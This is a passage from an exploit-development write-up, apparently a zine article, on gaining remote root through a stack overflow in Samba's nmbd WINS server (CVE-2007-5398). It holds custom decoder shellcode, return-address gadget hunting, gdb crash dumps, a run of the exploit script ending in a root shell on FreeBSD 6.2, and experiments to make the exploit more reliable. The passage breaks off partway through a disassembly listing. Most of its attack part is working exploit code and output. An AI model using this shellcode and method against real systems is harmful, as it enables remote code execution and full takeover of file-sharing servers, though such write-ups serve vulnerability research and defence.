where the majority of the work gets done. At this stage, it is probably
easier to look at how data gets stored to the database, which happens in
tdb_store().
--------------------------------------------
/* store an element in the database, replacing any existing element
with the same key
return 0 on success, -1 on failure
*/
int tdb_store(struct tdb_context *tdb, TDB_DATA key, TDB_DATA dbuf,
int flag)
{
...
/* find which hash bucket it is in */
hash = tdb->hash_fn(&key);
if (tdb_lock(tdb, BUCKET(hash), F_WRLCK) == -1)
return -1;
...
nmbd/nmbd_processlogon.c:tdb = tdb_open_log(lock_path("connections.tdb"),0,
nmbd/nmbd_winsserver.c: wins_tdb = tdb_open_log(lock_path("wins.tdb"), 0,
TDB_DEFAULT|TDB_CLEAR_IF_FIRST, O_CREAT|O_RDWR, 0600);
tdb_private.h:#define BUCKET(hash) ((hash) % tdb->header.hash_size)
struct tdb_context *tdb_open(const char *name,int hash_size, int tdb_flags,
int open_flags, mode_t mode)
...
if (hash_size == 0)
hash_size = DEFAULT_HASH_SIZE;
tdb_private.h:#define DEFAULT_HASH_SIZE 131
--------------------------------------------
From this, we can see that we need to use the hash_fn() (which defaults to
default_tdb_hash()) , and then we need to modulus the hash result by
DEFAULT_HASH_SIZE. By generating names that hash to 130, we can put our
data in order on the stack, after every already existing 0x1b
registrations. Before exploitation, we need to see how many existing 0x1b
registrations exist, so that the stack can be overflowed correctly.
This reminds me of the Algorithmic Complexity attacks, outlined
here [5]. Not directly related, but still interesting none the less.
--[ 5.3 - Code execution analysis
By triggering the vulnerability and examining the stack layout, we see that
saved eip can be partially overwritten, with two bytes. If we overwrite
once more, the top two bytes of eip will be the two flag bytes, and
overwrite the first argument to the function. After the overwrite the value
of orig_packet, the nmbd code will index into it, to copy a 4 byte value,
as seen below.
--------------------------------------------
nmbd_packets.c, send_reply_packet():
973 packet.fd = orig_packet->fd;
--------------------------------------------
So far in the analysis, a partial overwrite of the two least significant
bytes of eip seems to be the best course of action, as it's unlikely we can
put anything useful in the top two bytes (due to the flags). Causing an
overwrite of the least significant bytes with "D"'s, show:
--------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
0x08074444 in packet_is_for_wins_server ()
(gdb) x/10i $eip
0x8074444 <packet_is_for_wins_server+236>: mov 0x400(%ebx),%eax
0x807444a <packet_is_for_wins_server+242>: mov (%eax),%eax
0x807444c <packet_is_for_wins_server+244>: cmpl $0x9,(%eax)
0x807444f <packet_is_for_wins_server+247>: jle 0x80743a1
<packet_is_for_wins_server+73>
0x8074455 <packet_is_for_wins_server+253>: push $0x1fa
0x807445a <packet_is_for_wins_server+258>: lea 0xfffd66ad(%ebx),%eax
0x8074460 <packet_is_for_wins_server+264>: push %eax
0x8074461 <packet_is_for_wins_server+265>: lea 0xfffd6479(%ebx),%eax
0x8074467 <packet_is_for_wins_server+271>: push %eax
0x8074468 <packet_is_for_wins_server+272>: push $0xa
(gdb) i r ebx
ebx 0x0 0
(gdb) i r
eax 0x1 1
ecx 0x2834fd80 674561408
edx 0x40 64
ebx 0x0 0
esp 0xbfbfe540 0xbfbfe540
ebp 0x44440000 0x44440000
esi 0x0 0
edi 0x41414141 1094795585
eip 0x8074444 0x8074444
eflags 0x10282 66178
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
--------------------------------------------
We can see that we can completely control edi and to a lesser extent ebp.
Looking at the disassembly of the applicable epilogue of the
reply_netbios_packet() function, we see:
--------------------------------------------
.text:0806D0A0 pop edi
.text:0806D0A1 leave
.text:0806D0A2 retn
--------------------------------------------
To gain complete control of eip, we can look for a jmp edi or push edi ;
ret. After some searching in 0x0807xxxx, a suitable instruction sequence
is found (via incredibly lame means.. but it worked :p):
--------------------------------------------
freebsd62# objdump -d nmbd | egrep -i "^ 807.*57 c[23]"
80728a4: e8 57 c2 04 00 call 80beb00 <x_fclose>
--------------------------------------------
which translates into a push edi ; ret 0x04. By setting our last two bytes
to 0x080728a5, we can get direct control:
--------------------------------------------
(gdb) r
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...y
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
--------------------------------------------
From this point of time, we need to get shellcode running correctly.
Thinking back to how the data is laid out ([2 byte flags, both null][4 byte
ip address]).. it's probably the best approach to write a custom decoder.
--[ 5.4 - Shellcode
As discussed above, a special decoder would be needed so what we can use
generic shellcode available, as opposed to porting common shellcode to
account for 1/3 of the bytes being rubbish.
After experimenting, I wrote a shellcode that would reconstruct 4 bytes,
then skip two bytes, then jump to the place where we re-constructed the
shellcode.
Shellcode is as follows (nasm -f bin first_layer_sc.asm -o
first_layer_sc.bin to compile.). At entry of the shellcode, edi points to
our current eip.
--------------------------------------------
BITS 32
%define tbnop add byte [eax],0x0 ; 0x80 0x00 0x00
_start:
add [eax], al ; two byte nulls, for flags.
cld ; reset direction flag
mov eax, edi ; since our two byte nop dereferences [eax]
; we need a writable memory location.
tbnop
mov esi, edi ; ESI = source of encoded shellcode
nop
tbnop
add esi, byte 60 ; increment esi to start of real shellcode
tbnop
mov edi, esp ; Place we're going to execute
nop
tbnop
xor ecx, ecx
nop
tbnop
mov cl, byte 0x7e ; how many bytes we want to copy. Can copy up
; 126 bytes or so. This can be fixed if
; nessessacy
nop
tbnop
.copier:
movsd
nop
nop
tbnop
add esi, byte 0x02
tbnop
loopnz .copier
.ready:
jmp esp
--------------------------------------------
For the second layer shellcode, we can use any shellcode we want. For
additional flexibility, I have used the InlineEgg [6] package to
allow for greater flexibility in the second layer shellcode.
Encoding the shellcode for registration packets is extremely straight
forward. Change the endian / ordering of 4 bytes and append 2 NULL bytes.
Ideally, the second layer shellcode would encode the shell registration
information over the existing socket / fd information, using the nmb
protocol.
If it where a more useful exploit, it would be worth while expending the
effort to write the required code.
--[ 5.5 - Getting a shell
By combining the above information, and determining where in the stack the
shellcode lies, we can get a shell:
--------------------------------------------
[target machine]
(gdb) shell rm /var/db/samba/wins.*
(gdb) r
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x28065af0 in ?? ()
(gdb) # This happened because our nmbd executed a new program
(gdb) c
[attacking machine]
$ python CVE-2007-5398.py --host 172.16.178.128 --target 0
Hit y if you want to test registration flags, otherwise just hit enter>
Existing registrations: 0
Amount of registrations to reach EIP: 239
Got 0 existing registrations. Hit any key to continue...
First layer of shellcode is 66 bytes long
Second layer of shellcode is 246 bytes long
Names: |==========================================================| 100.00
Registering: |====================================================| 100.00
stack left over:
Please hit enter to send final packet...
Attempting to connect to 172.16.178.128:31337
-------------------------------------------
You are in luck; it appears to of worked... shell below.
--
# It worked
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
# uname -a
FreeBSD freebsd62 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27
2007 [email protected]:/usr/obj/usr/src/sys/GENERIC i386
--------------------------------------------
So, with a bunch of research and analysis, we're only part way there. It
would be nice to have a better place to return to.
--[ 5.6 - Making the exploit more reliable
Currently, our exploit has two hard coded entries, the first of which is
the location of a sequence of code which uses edi to gain code execution
(so far, 0x080728a5 (for our current target of FreeBSD 6.2). Additionally,
it uses the exact location of the start of the shellcode. Due to various
reasons, the stack address can change easily for such an exact address, due
to reasons such as:
* Starting or restarting nmbd manually
* Differing environmental strings
* In later Linux 2.6 series, memory randomisation is enabled by default,
for certain mappings.
There are a couple of opportunities to make this exploit more reliable,
such as adding large nop sequences, or perhaps putting / finding some
suitable code elsewhere.
The larger nop sequence may help, but 1/3 of the bytes are NULL / not
useful, so it is debatable. Additionally, this means if the range was
accurate, we have only a 2/3 chance of hitting a suitable nop sequence, as
opposed to outright crashing (as "\x00\x00" encodes to add [eax], al, and
since eax will be one (1) when the nop sequence is hit, it will crash.) So,
for the time being we will look for another place / way to gain reliable
execution control.
--[ 5.6.1 - static .bss data
While analysing this vulnerability, I noticed an interesting function that
gets called when sending registration packets:
--------------------------------------------
nmbd/nmbd_winsserver.c:
/*************************************************************************
Overwrite or add a given name in the wins.tdb.
*************************************************************************/
static BOOL store_or_replace_wins_namerec(const struct name_record *namerec
,int tdb_flag)
{
TDB_DATA key, data;
int ret;
if (!wins_tdb) {
return False;
}
key = name_to_key(&namerec->name);
data = name_record_to_wins_record(namerec);
if (data.dptr == NULL) {
return False;
}
ret = tdb_store(wins_tdb, key, data, tdb_flag);
SAFE_FREE(data.dptr);
return (ret == 0) ? True : False;
}
...
/*************************************************************************
Create key. Key is UNIX codepage namestring (usually utf8 64 byte len)
with 1 byte type.
*************************************************************************/
static TDB_DATA name_to_key(const struct nmb_name *nmbname)
{
static char keydata[sizeof(unstring) + 1];
TDB_DATA key;
memset(keydata, '\0', sizeof(keydata));
pull_ascii_nstring(keydata, sizeof(unstring), nmbname->name);
strupper_m(keydata);
keydata[sizeof(unstring)] = nmbname->name_type;
key.dptr = keydata;
key.dsize = sizeof(keydata);
return key;
}
--------------------------------------------
The most interesting about the above is the static char
keydata[sizeof(unstring) + 1]; which gives us the ability to put upto 64
bytes into a static location in the .bss. However, since NetBIOS names are
15 chars long, there is still a lot of code that could be put here. Some
information on small shellcodes to find things can be found here [7]
name_to_key() is called from three locations in the code, with self
explaining names (not including the above store_or_replace_wins_namerec():
--------------------------------------------
/*************************************************************************
Delete a given name in the tdb and remove the temporary malloc'ed data
struct on the linked list.
*************************************************************************/
BOOL remove_name_from_wins_namelist(struct name_record *namerec)
{
...
struct name_record *find_name_on_wins_subnet(const struct nmb_name *nmbname
,BOOL self_only)
{
...
--------------------------------------------
Of interest is the store_or_replace_wins_namerec() which is called when
sending the registration packets to trigger the overflow. We may be able to
send a suitable, short, shellcode that finds our loader shellcode in the
stack (or, with more effort, on the heap, thus avoiding Openwall style
non-executable stack patches).
Being able to use this static location gives us some advantages over stack
randomisation / changes.
Looking further into pull_ascii_nstring() we see that it does DOS code page
mappings to UNIX code pages, especially relating to bytes with high bits
installed. Unfortunately, it heavily mangles the input (via the translation
phase), then performs an uppercase operation on the string. I experimented
with the above restrictions and was not get anything working, but it went
over the length restriction. The idea worked on:
* push esp
* pop ebp
* push edi
* pop esp
* using pop to access the code we're executing
* using the charcase conversion to get 4 bytes with the most significant
bit set from 1 byte.
* using xor [edi+index], reg to modify the applicable code we're executing
,then to do something equivilent to sub ebp, <offset> ; jmp ebp
If anyone works out a suitable shellcode that fits in those restrictions, I
would definately be interested in hearing from you. I suspect given more
time / motivation something would come up, and in hindsight would be a
"that's obvious" case. Additionally, we can control the contents of the top
two bytes of ebp, which may be useful in some way for coding the shellcode.
Possibly something like:
* push ebp
* inc esp ; skip over null byte
* inc esp
* byte with high bit set that gets translated into a 0xc3 (ret
instruction)
* What two arbitrary bytes it executes has to be chosen carefully. A jmp
sled backwards may work, but certain data structures can not be modified
randomly as nmbd will crash before code execution takes place.
Another potential static address we could use is the following:
--------------------------------------------
libsmb/nmblib.c:
1123 static unsigned char sort_ip[4];
1124
1125 /*********************************************************************
1126 Compare two query reply records.
1127 *********************************************************************/
1128
1129 static int name_query_comp(unsigned char *p1, unsigned char *p2)
1130 {
1131 return matching_quad_bits(p2+2, sort_ip) -
matching_quad_bits(p1+2, sort_ip);
1132 }
1133
1134 /*********************************************************************
1135 Sort a set of 6 byte name query response records so that the IPs that
1136 have the most leading bits in common with the specified address come
first.
1137 *********************************************************************/
1138
1139 void sort_query_replies(char *data, int n, struct in_addr ip)
1140 {
1141 if (n <= 1)
1142 return;
1143
1144 putip(sort_ip, (char *)&ip);
1145
1146 qsort(data, n, 6, QSORT_CAST name_query_comp);
1147 }
--------------------------------------------
which is reachable from nmbd/nmbd_winsserver.c:
--------------------------------------------
1831 void send_wins_name_query_response(int rcode, struct packet_struct *p,
1832 struct name_record *namerec)
1833 {
1834 char rdata[6];
1835 char *prdata = rdata;
1836 int reply_data_len = 0;
1837 int ttl = 0;
1838 int i;
1839
1840 memset(rdata,'\0',6);
1841
1842 if(rcode == 0) {
1843 ttl = (namerec->data.death_time != PERMANENT_TTL) ?
namerec->data.death_time - p->timestamp : lp_max_wi ns_ttl();
1844
1845 /* Copy all known ip addresses into the return data. */
1846 /* Optimise for the common case of one IP address so we
don't need a malloc. */
1847
1848 if( namerec->data.num_ips == 1 ) {
1849 prdata = rdata;
1850 } else {
1851 if((prdata = (char *)
SMB_MALLOC( namerec->data.num_ips * 6 )) == NULL) {
1852 DEBUG(0,("send_wins_name_query_response: malloc fail !\n"));
1853 return;
1854 }
1855 }
1856
1857 for(i = 0; i < namerec->data.num_ips; i++) {
1858 set_nb_flags(&prdata[i*6],namerec->data.nb_flags);
1859 putip((char *)&prdata[2+(i*6)], &namerec->data.ip[i]);
1860 }
1861
1862 sort_query_replies(prdata, i, p->ip);
1863 reply_data_len = namerec->data.num_ips * 6;
1864 }
1865
--------------------------------------------
But I have not explored this path fully, but I don't think it would help
too much.
After looking over what could be done with such restrictions, I started
looking around the code to see if there was any easier mechanisms that
would give assistance in exploiting this issue reliably. I noticed a couple
of static buffers that could be useful, but they required debugging to be
enabled to be exploited correctly - not exactly a good requirement for a
reliable exploit.
--[ 5.6.2 - Memory leak
During the initial process of attempting to replicate the issue, I noticed
that nmbd would attempt to read from memory that we control - perhaps we
can find a memory leak / information disclosure that is useful. Starting
off with setting all normally NULL IP address to AABB, we see the first
crash:
--------------------------------------------
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
Program received signal SIGSEGV, Segmentation fault.
0x080adc67 in debug_nmb_res_rec ()
(gdb) bt
#0 0x080adc67 in debug_nmb_res_rec ()
#1 0x080ae023 in debug_nmb_packet ()
#2 0x0806d1f8 in reply_netbios_packet ()
#3 0x080728a5 in write_browse_list ()
Previous frame inner to this frame (corrupt stack?)
(gdb) x/10i $eip
0x80adc67 <debug_nmb_res_rec+47>: mov 0x60(%edx),%ecx
0x80adc6a <debug_nmb_res_rec+50>: test %ecx,%ecx
0x80adc6c <debug_nmb_res_rec+52>: je 0x80add89 <debug_nmb_res_rec+337>
0x80adc72 <debug_nmb_res_rec+58>: cmp $0xffffff9c,%edx
0x80adc75 <debug_nmb_res_rec+61>: je 0x80add89 <debug_nmb_res_rec+337>
0x80adc7b <debug_nmb_res_rec+67>: cmp $0x0,%ecx
0x80adc7e <debug_nmb_res_rec+70>: movl $0x0,0xffffffe8(%ebp)
0x80adc85 <debug_nmb_res_rec+77>: jle 0x80add89 <debug_nmb_res_rec+337>
0x80adc8b <debug_nmb_res_rec+83>: mov 0x400(%ebx),%eax
0x80adc91 <debug_nmb_res_rec+89>: mov %eax,0xffffffe0(%ebp)
(gdb) i r edx ecx
edx 0x41414242 1094795842
ecx 0x42420000 1111621632
(gdb) bt
#0 0x080adc67 in debug_nmb_res_rec ()
#1 0x080ae023 in debug_nmb_packet ()
#2 0x0806d1f8 in reply_netbios_packet ()
#3 0x080728a5 in write_browse_list ()
--------------------------------------------
Starting our analysis at debug_nmb_packet() in libsmb/nmblib.c:
--------------------------------------------
103
104 /********************************************************************
105 Process a nmb packet.
106 ********************************************************************/
107
108 void debug_nmb_packet(struct packet_struct *p)
109 {
110 struct nmb_packet *nmb = &p->packet.nmb;
111
112 if( DEBUGLVL( 4 ) ) {
...
131 }
132
133 if (nmb->header.qdcount) {
134 DEBUGADD( 4, ( " question: q_name=%s q_type=%d q_class=%d\n",
...
138 }
139
140 if (nmb->answers && nmb->header.ancount) {
141 debug_nmb_res_rec(nmb->answers,"answers");
142 }
143 if (nmb->nsrecs && nmb->header.nscount) {
144 debug_nmb_res_rec(nmb->nsrecs,"nsrecs");
145 }
146 if (nmb->additional && nmb->header.arcount) {
147 debug_nmb_res_rec(nmb->additional,"additional");
148 }
149 }
(gdb) frame 1
#1 0x080ae023 in debug_nmb_packet ()
(gdb) x/8x $esp
0xbfbfdef0: 0x00000000 0x00000000 0x4795ddfa 0x08117a40
0xbfbfdf00: 0xbfbfe210 0x0000059a 0xbfbfe538 0x0806d1f8
Let's take a guess that 0xbfbfe210 is our nmb packet:
(gdb) x/x 0xbfbfe210
0xbfbfe210: 0x41414242
(gdb) x/20x 0xbfbfe210
0xbfbfe210: 0x41414242 0x42420000 0x00004141 0x41414242
0xbfbfe220: 0x42420000 0x00004141 0x41414242 0x42420000
0xbfbfe230: 0x00004141 0x41414242 0x42420000 0x00004141
0xbfbfe240: 0x41414242 0x42420000 0x00004141 0x41414242
0xbfbfe250: 0x42420000 0x00004141 0x41414242 0x42420000
--------------------------------------------
So the above analysis makes sense. We have overwritten certain data
structures it is looking at. Moving on, in debug_nmb_res_rec() we see:
--------------------------------------------
61 /*********************************************************************
62 Print out a res_rec structure.
63 *********************************************************************/
64
65 static void debug_nmb_res_rec(struct res_rec *res, const char *hdr)
66 {
67 int i, j;
68
69 DEBUGADD( 4, ( " %s: nmb_name=%s rr_type=%d rr_class=%d ttl=%d\n",
70 hdr,
71 nmb_namestr(&res->rr_name),
72 res->rr_type,
73 res->rr_class,
74 res->ttl ) );
75
76 if( res->rdlength == 0 || res->rdata == NULL )
77 return;
78
79 for (i = 0; i < res->rdlength; i+= MAX_NETBIOSNAME_LEN) {
80 DEBUGADD(4, (" %s %3x char ", hdr, i));
81
82 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) {
83 unsigned char x = res->rdata[i+j];
84 if (x < 32 || x > 127)
85 x = '.';
86
87 if (i+j >= res->rdlength)
88 break;
89 DEBUGADD(4, ("%c", x));
90 }
91
92 DEBUGADD(4, (" hex "));
93
94 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) {
95 if (i+j >= res->rdlength)
96 break;
97 DEBUGADD(4, ("%02X", (unsigned char)res->rdata[i+j]));
98 }
99
100 DEBUGADD(4, ("\n"));
101 }
102 }
103
--------------------------------------------
That code is not very useful at the moment. If the pointers where valid,
it'd work (not surprisingly).
Looking at the code flow from send_packet(), (code is above), we hit some
interesting code that we can use for an information leak.
--------------------------------------------
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x080ada3d in put_nmb_name ()
(gdb) bt
#0 0x080ada3d in put_nmb_name ()
#1 0x080ae26a in put_res_rec ()
#2 0x080af184 in build_packet ()
#3 0x080af236 in send_packet ()
#4 0x0806d38a in reply_netbios_packet ()
#5 0x080728a5 in write_browse_list ()
Previous frame inner to this frame (corrupt stack?)
(gdb) x/10i $eip
0x80ada3d <put_nmb_name+49>: repz cmpsb %es:(%edi),%ds:(%esi)
0x80ada3f <put_nmb_name+51>: jne 0x80adab5 <put_nmb_name+169>
0x80ada41 <put_nmb_name+53>: mov 0x8(%ebp),%edi
0x80ada44 <put_nmb_name+56>: pushl 0x50(%edi)
0x80ada47 <put_nmb_name+59>: push $0x0
0x80ada49 <put_nmb_name+61>: pushl 0xffffffcc(%ebp)
0x80ada4c <put_nmb_name+64>: lea 0xffffffd8(%ebp),%eax
0x80ada4f <put_nmb_name+67>: push %eax
0x80ada50 <put_nmb_name+68>: call 0x80ad98c <put_name>
0x80ada55 <put_nmb_name+73>: mov 0xffffffd4(%ebp),%edx
(gdb) i r edi esi
edi 0x8102db9 135278009
esi 0x0 0
--------------------------------------------
Unfortunately, the above is crashing due to a NULL pointer dereference in
esi when testing the contents of the name. (This piece of code is mapped to
the check where the name is tested against '*' in put_nmb_name().)
At this point of time I've decided that it is probably easier to start
analysing the contents of reply_netbios_packet() so that I can see exactly
what is being overwritten, where, and work out what effects it may have.
For this we'll use IDA Pro Standard 5.2
First off, let's take a better look at what is happening in the source
code, it'll help with analysis of the assembly.
--------------------------------------------
nmbd/nmbd_winsserver.c:
856 /*********************************************************************
857 Reply to a netbios name packet. see rfc1002.txt
858 *********************************************************************/
859
860 void reply_netbios_packet(struct packet_struct *orig_packet,
861 int rcode, enum netbios_reply_type_code rcv_code, int opcode,
862 int ttl, char *data,int len)
863 {
864 struct packet_struct packet;
865 struct nmb_packet *nmb = NULL;
866 struct res_rec answers;
867 struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
868 BOOL loopback_this_packet = False;
869 int rr_type = RR_TYPE_NB;
870 const char *packet_type = "unknown";
871
872 /* Check if we are sending to or from ourselves. */
873 if(ismyip(orig_packet->ip) && (orig_packet->port == global_nmb_port))
874 loopback_this_packet = True;
875
876 nmb = &packet.packet.nmb;
877
...
965 if (data && len) {
966 nmb->answers->rdlength = len;
967 memcpy(nmb->answers->rdata, data, len);
968 }
969
...
unfortunately, the nmb pointer is not used after line 967.
...
include/nameserv.h:
524
525 struct packet_struct
526 {
527 struct packet_struct *next;
528 struct packet_struct *prev;
529 BOOL locked;
530 struct in_addr ip;
531 int port;
532 int fd;
533 time_t timestamp;
534 enum packet_type packet_type;
535 union {
536 struct nmb_packet nmb;
537 struct dgram_packet dgram;
538 } packet;
539 };
540
..
459 /* An nmb packet. */
460 struct nmb_packet {
461 struct {
462 int name_trn_id;
463 int opcode;
464 BOOL response;
465 struct {
466 BOOL bcast;
467 BOOL recursion_available;
468 BOOL recursion_desired;
469 BOOL trunc;
470 BOOL authoritative;
471 } nm_flags;
472 int rcode;
473 int qdcount;
474 int ancount;
475 int nscount;
476 int arcount;
477 } header;
478
479 struct {
480 struct nmb_name question_name;
481 int question_type;
482 int question_class;
483 } question;
484
485 struct res_rec *answers;
486 struct res_rec *nsrecs;
487 struct res_rec *additional;
488 };
...
441 /* A resource record. */
442 struct res_rec {
443 struct nmb_name rr_name;
444 int rr_type;
445 int rr_class;
446 int ttl;
447 int rdlength;
448 char rdata[MAX_DGRAM_SIZE];
449 };
450
...
include/smb.h:
1718 /* A netbios name structure. */
1719 struct nmb_name {
1720 nstring name;
1721 char scope[64];
1722 unsigned int name_type;
1723 };
...
1712 #define MAX_NETBIOSNAME_LEN 16
1713 /* DOS character, NetBIOS namestring. Type used on the wire. */
1714 typedef char nstring[MAX_NETBIOSNAME_LEN];
1715 /* Unix character, NetBIOS namestring. Type used to manipulate name in
nmbd. */ 1716 typedef char unstring[MAX_NETBIOSNAME_LEN*4];
--------------------------------------------
Looking over the struct nmb_packet, we see that it may be useful to
overwrite the qdcount, and set a count for either ancount, nscount, or
adcount (which map to the pointers: answers, nsrec and additional,
respectively). Since there are 12 bytes, we can directly control one set of
these. Hopefully, the control of the count arguments map to direct control
of the same pointer, otherwise additional problems will be had.
Looking at these structure layouts, one way of setting this up would be to
analyze the stack layouts, and re-create the structures in the exploit code
,which then gets serialized / sent across the wire.
One disadvantage of this model is that it needs additional flexibility
due to difference in compiler output for different versions, and
potentially different compiler flags / options / optimisations, as there
may be additional padding / ordering, and other fun things to deal.
An additional problem with controlling a pointer to a "struct res_rec" is
that that the rdlength field has to be a sane value, otherwise it may crash
in memcpy, or, cause an EIP overwrite in the sendpacket() function in char
buf[1024];. Both of these results would cause the process to crash :(. As
this is a single shot vulnerability, causing it to potentially crash is
out of the question.
Since we're unable to know contents of the memory we're trying to leak in
advance, there doesn't appear to be much point continuing down this path.
That said, it may be possible to use certain static[] data to leak contents
of the .bss and heap that may be useful.
After initially being disappointed about this realisation, I realised that
by using known static .bss location, we could hopefully leak the rest of
the .bss, then, if we're lucky, the heap allocation. One side effect of
trying to leak the heap layout, is that it is not guaranteed to be straight
after the nmbd .bss. (For example, default kernel on Fedora 8 ships with
heap randomised and NOT after the .bss).
Due to this, we would need to find a suitable pointer to the heap in the
.bss. A suitable pointer value is:
* One that is not allocated too early in the nmbd initialisation process.
This requirement is because the res_rec structure size is fairly large,
and if it is an early allocated structure, by adjusting the pointer so
that
rdlength points to the integer, it may hit an unmapped page.
* One that has a suitable small 4 byte integer value from the pointer
location, so that we can continue the memory leaking / analysis.
Before we get too far ahead of ourselves, first we need to re-create the
stack layout, and see if we can overwrite some of the counts / pointers
correctly.
After doing some analysis of how the stack is laid out, (via IDA Pro
Standard 5.2) we can start to adjust the exploit code to ensure it works.
I added the applicable structure representations in python so that I could
set the values explicitly (for example, nmb_packet['answers'] = 0x08049000)
, rather than having to hard code offsets / hex arrays.
Unfortunately, it appears that the stack layout for FreeBSD 6.2's Samba
release, the ancount variable is not aligned with the 6 byte writes :( :(
We can however influence the 2 most significant bytes (with least 2
significant bytes being flags), but reviewing the
put_res_rec(), it kills the dream further:
--------------------------------------------
398 for (i=0;i<count;i++) {
399 int l = put_nmb_name(buf,offset,&recs[i].rr_name);
400 offset += l;
401 ret += l;
402 RSSVAL(buf,offset,recs[i].rr_type);
403 RSSVAL(buf,offset+2,recs[i].rr_class);
404 RSIVAL(buf,offset+4,recs[i].ttl);
405 RSSVAL(buf,offset+8,recs[i].rdlength);
406 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength);
407 offset += 10+recs[i].rdlength;
408 ret += 10+recs[i].rdlength;
409 }
--------------------------------------------
Looping at a minimum of 65536 is out of the question, as the 1024 byte
buffer in send_packet() will quickly be overflowed, and the memcpy()
length parameter is unknown on subsequent calls.
Reviewing the flags that's available to us:
--------------------------------------------
77 /********************************************************************
78 Get/Set problematic nb_flags as network byte order 16 bit int.
79 ********************************************************************/
80
81 uint16 get_nb_flags(char *buf)
82 {
83 return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);
84 }
85
86 void set_nb_flags(char *buf, uint16 nb_flags)
87 {
88 *buf++ = ((nb_flags & NB_FLGMSK) & 0xFF);
89 *buf = '\0';
90 }
nameserv.h:
89 /* Mask applied to outgoing NetBIOS flags. */
90 #define NB_FLGMSK 0xE0
--------------------------------------------
We can see we control the most significant byte of the 2-byte flag, which
is still highly undesirable, as the put_res_rec() code will loop at a
minimum of thirty two times.
Unfortunately, these restrictions prevent us from
setting the ancount to 1. Due to the 6 byte writes, the other fields nsrec
and additional will not be overwritten correctly. So far, it appears that
FreeBSD 6.2 default samba package is not vulnerable to this identified
memory leak, which is unfortunate.
After a quick analysis of the nmbd binary in Ubuntu 7.10 default install,
it appears the stack checking code re-ordered the buffers, and put the
resource record after the packet structure - this means we can't use it to
leak memory from nmbd :( If we could of leaked memory, there may be a
possibility to use that to reveal what the stack cookie is. If the stack \
cookie was leakable, and our 6 byte writes aligned correctly, we could
exploit the process.
--[ 5.6.2 - Back to the future^W.bss
I decided to look at the crash state again, and see what we can do with
the 15 byte static .bss value in name_to_key()
--------------------------------------------
Starting program: /usr/local/sbin/nmbd -F -D -s smb.conf
Program received signal SIGSEGV, Segmentation fault.
0x41414242 in ?? ()
(gdb) i r
eax 0x1 1
ecx 0x2834fd80 674561408
edx 0x40 64
ebx 0x42420000 1111621632
esp 0xbfbfe544 0xbfbfe544
ebp 0x5a5a0000 0x5a5a0000
esi 0x4242 16962
edi 0x41414242 1094795842
eip 0x41414242 0x41414242
eflags 0x10282 66178
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb)
--------------------------------------------
After looking at it again, we have:
* partial control of ebx (two most significant bytes)
* partial control of ebp (two most significant bytes)
* partial control of esi (two least significant bytes)
After thinking about this a little more, with a bit of experimentation, we
could use "xor [edi+offset], reg" to modify partial contents of the code
that we could execute.
Testing this theory out, we see:
--------------------------------------------
$ ndisasm -b 32 t
00000000 315F08 xor [edi+0x8],ebx
00000003 317708 xor [edi+0x8],esi
00000006 316F08 xor [edi+0x8],ebp
00000009 314708 xor [edi+0x8],eax
0000000C 315F08 xor [edi+0x8],ebx
0000000F 314F08 xor [edi+0x8],ecx
00000012 315708 xor [edi+0x8],edx
00000015 317F08 xor [edi+0x8],edi
simple toupper:
$ cat t | tr a-z A-Z | ndisasm -b 32 -
00000000 315F08 xor [edi+0x8],ebx
00000003 315708 xor [edi+0x8],edx
00000006 314F08 xor [edi+0x8],ecx
00000009 314708 xor [edi+0x8],eax
0000000C 315F08 xor [edi+0x8],ebx
0000000F 314F08 xor [edi+0x8],ecx
00000012 315708 xor [edi+0x8],edx
00000015 317F08 xor [edi+0x8],edi
--------------------------------------------
From the above, we can see that we can't use esi and ebp directly in the
xor argument, so if needed, we can push/pop around it. (This is not ideal,
as it reduces the space left that we may be critical.)
Looking quickly at this, we can do:
--------------------------------------------
xor [edi + <offset>], ebx
push ebp
pop ebx
xor [edi + <offset>], ebx
sub esp, esi
jmp esp
--------------------------------------------
The last two instructions encode to \x29\xf4\xff\xe4, so that means we need
a byte with high bit set, that preferably expands to three bytes. (If the
previous sentence does not make sense, re-read the section on how the
netbios name is converted due to charset issues). Quickly generating the
applicable bytes, we see that \xb0 expands to \xe2\x96\x91, and is a
suitable byte to use.
To get what we need:
--------------------------------------------
>>> hex(0xe2 ^ 0xf4)
'0x16'
>>> hex(0x96 ^ 0xff)
'0x69'
>>> hex(0x91 ^ 0xe4)
'0x75'
--------------------------------------------
Putting all this together, we get:
--------------------------------------------
Breakpoint 1, 0x08117f80 in keydata.21 ()
(gdb) x/10i $eip
0x8117f80 <keydata.21>: xor %ebx,0x7(%edi)
0x8117f83 <keydata.21+3>: push %ebp
0x8117f84 <keydata.21+4>: pop %ebx
0x8117f85 <keydata.21+5>: xor %ebx,0x9(%edi)
0x8117f88 <keydata.21+8>: sub %esp,%edx
0x8117f8a <keydata.21+10>: xchg %eax,%esi
0x8117f8b <keydata.21+11>: xchg %eax,%ecx
